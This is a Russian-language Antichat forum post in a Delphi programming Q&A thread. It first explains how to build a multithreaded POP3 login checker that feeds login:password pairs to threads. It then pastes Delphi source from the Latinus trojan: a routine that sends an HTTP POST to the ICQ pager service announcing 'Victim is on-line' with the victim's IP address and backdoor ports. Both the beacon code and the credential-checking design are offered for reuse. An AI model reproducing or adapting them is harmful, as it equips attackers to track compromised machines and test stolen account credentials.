Форум АНТИЧАТ - Показать сообщение отдельно - [Delphi]/[Pascal] Задай вопрос, получи ответ

знаем что такое многопоточность? *думаю нет

итак при каждом создание потока создается IdPOP3...
ему передатются логины и пассы... каким макаром их передавать это дело алгоритма...
значит он пытается залогиниться, соответсвеноо если все ок
вызывается синхронизация с vcl "процедурой"..
которая выдает результат...

тебе просто необходимо сделать алгоритм для раздачи логин:пасс к потокам...

>>Nightmarе
кусок кода из сорцов трояна Latinus
по идее должно работать =/

PHP код:


		
			
procedure TfrmServer.ClientPagerConnect(Sender: TObject;

  Socket: TCustomWinSocket);

var

   cData,cSend,CrLf,cSubject,cMessage:string;

begin

   SentPager:=True;

   CrLf:=#13#10;

   cMessage:='Victim+is+on-line:' + CrLf + 'IP:' + ClientPager.Socket.LocalAddress +

             CrLf + 'Connection+port:' + IntToStr(StrToIntDef(Trim(Copy(SrvPort,10,Length(SrvPort))),DEF_CON_PORT)) +

             CrLf + 'Upload/download+port:' + IntToStr(StrToIntDef(Trim(Copy(TnsfPort,11,Length(TnsfPort))),DEF_UD_PORT)) +

             CrLf + 'Local+time:' + DateToStr(Date) + '+-+' + TimeToStr(Time);

   cSubject:='Latinus+pager';

   cData:='from=Latinus+server&fromemail=Latinus@Latinus.br&subject=' + cSubject + '&body=' + cMessage + '&to=' + Trim(Copy(cICQ,9,Length(cICQ))) + '&Send=' + '''';

   cSend:='POST /scripts/WWPMsg.dll HTTP/1.0' + CrLf;

   cSend:=cSend + 'Referer: http://wwp.mirabilis.com' + CrLf;

   cSend:=cSend + 'User-Agent: Mozilla/4.06 (Win95; I)' + CrLf;

   cSend:=cSend + 'Connection: Keep-Alive' + CrLf;

   cSend:=cSend + 'Host: wwp.mirabilis.com:80' + CrLf;

   cSend:=cSend + 'Content-type: application/x-www-form-urlencoded' + CrLf;

   cSend:=cSend + 'Content-length: ' + IntToStr(Length(cData)) + CrLf;

   cSend:=cSend + 'Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*' + CrLf + CrLf;

   cSend:=cSend + cData + CrLf + CrLf + CrLf + CrLf;

   ClientPager.Socket.SendText(cSend);

end;